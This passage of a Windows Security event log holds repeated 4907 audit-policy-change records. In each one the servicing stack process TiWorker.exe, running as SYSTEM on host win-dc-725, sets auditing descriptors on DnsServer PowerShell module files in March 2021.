-Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\DnsServer\PS_DnsServerResourceRecordPTR_v1.0.0.cdxml - Handle ID: 0x7bc - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:41:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247185 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\DnsServer\PS_DnsServerResourceRecordMX_v1.0.0.cdxml - Handle ID: 0x7c0 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:41:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247184 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\DnsServer\PS_DnsServerResourceRecordDS_v1.0.0.cdxml - Handle ID: 0x7c4 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:41:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247183 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\DnsServer\PS_DnsServerResourceRecordDnsKey_v1.0.0.cdxml - Handle ID: 0x7b4 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:41:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247182 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\DnsServer\PS_DnsServerResourceRecordCNAME_v1.0.0.cdxml - Handle ID: 0x7b8 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:41:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247181 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\DnsServer\PS_DnsServerResourceRecordAging_v1.0.0.cdxml - Handle ID: 0x7c8 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: S:AI - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:41:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247180 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\DnsServer\PS_DnsServerResourceRecordAAAA_v1.0.0.cdxml - Handle ID: 0x7bc - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:41:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247179 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\DnsServer\PS_DnsServerResourceRecordA_v1.0.0.cdxml - Handle ID: 0x7b4 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:41:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247178 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\DnsServer\PS_DnsServerResourceRecord_v1.0.0.cdxml - Handle ID: 0x7b8 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:41:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247177 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\DnsServer\PS_DnsServerRecursionScope_v1.0.0.cdxml - Handle ID: 0x7c8 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:41:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247176 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\DnsServer\PS_DnsServerRecursion_v1.0.0.cdxml - Handle ID: 0x7bc - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:41:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247175 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\DnsServer\PS_DnsServerQueryResolutionPolicy_v1.0.0.cdxml - Handle ID: 0x7b4 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:41:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247174 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\DnsServer\PS_DnsServerPrimaryZone_v1.0.0.cdxml - Handle ID: 0x7b8 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:41:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247173 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\DnsServer\PS_DnsServerPolicy_v1.0.0.cdxml - Handle ID: 0x7c8 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:41:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247172 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\DnsServer\PS_DnsServerKeyStorageProvider_v1.0.0.cdxml - Handle ID: 0x7bc - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: S:AI - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:41:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247171 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\DnsServer\PS_DnsServerGlobalQueryBlockList_v1.0.0.cdxml - Handle ID: 0x7b4 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: S:AI - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:41:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247170 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\DnsServer\PS_DnsServerGlobalNameZone_v1.0.0.cdxml - Handle ID: 0x7b8 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:41:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247169 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\DnsServer\PS_DnsServerForwarder_v1.0.0.cdxml - Handle ID: 0x7c8 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:41:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247168 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\DnsServer\PS_DnsServerEdns_v1.0.0.cdxml - Handle ID: 0x7bc - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: S:AI - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:41:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247167 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\DnsServer\PS_DnsServerDsSetting_v1.0.0.cdxml - Handle ID: 0x7c4 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:41:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247166 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\DnsServer\PS_DnsServerDnsSecZoneSetting_v1.0.0.cdxml - Handle ID: 0x7c0 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:41:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247165 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\DnsServer\PS_DnsServerDnsSecPublicKey_v1.0.0.cdxml - Handle ID: 0x7b8 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:41:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247164 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\DnsServer\PS_DnsServerDirectoryPartition_v1.0.0.cdxml - Handle ID: 0x7b4 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:41:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247163 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\DnsServer\PS_DnsServerDiagnostics_v1.0.0.cdxml - Handle ID: 0x7c8 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:41:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247162 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\DnsServer\PS_DnsServerConditionalForwarder_v1.0.0.cdxml - Handle ID: 0x7bc - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:41:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247161 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\DnsServer\PS_DnsServerClientSubnet_v1.0.0.cdxml - Handle ID: 0x7b8 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:41:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247160 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\DnsServer\PS_DnsServerCache_v1.0.0.cdxml - Handle ID: 0x7b4 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:41:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247159 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\DnsServer\PS_DnsServer_v1.0.0.cdxml - Handle ID: 0x7c8 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:41:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247158 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\DnsServer\DnsServerPsProvider.Types.ps1xml - Handle ID: 0x7bc - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:41:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247157 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\DnsServer\DnsServerPsProvider.Format.ps1xml - Handle ID: 0x7b8 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:41:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247156 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\DnsServer\DnsServer.psd1 - Handle ID: 0x7b4 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:41:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247155 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT 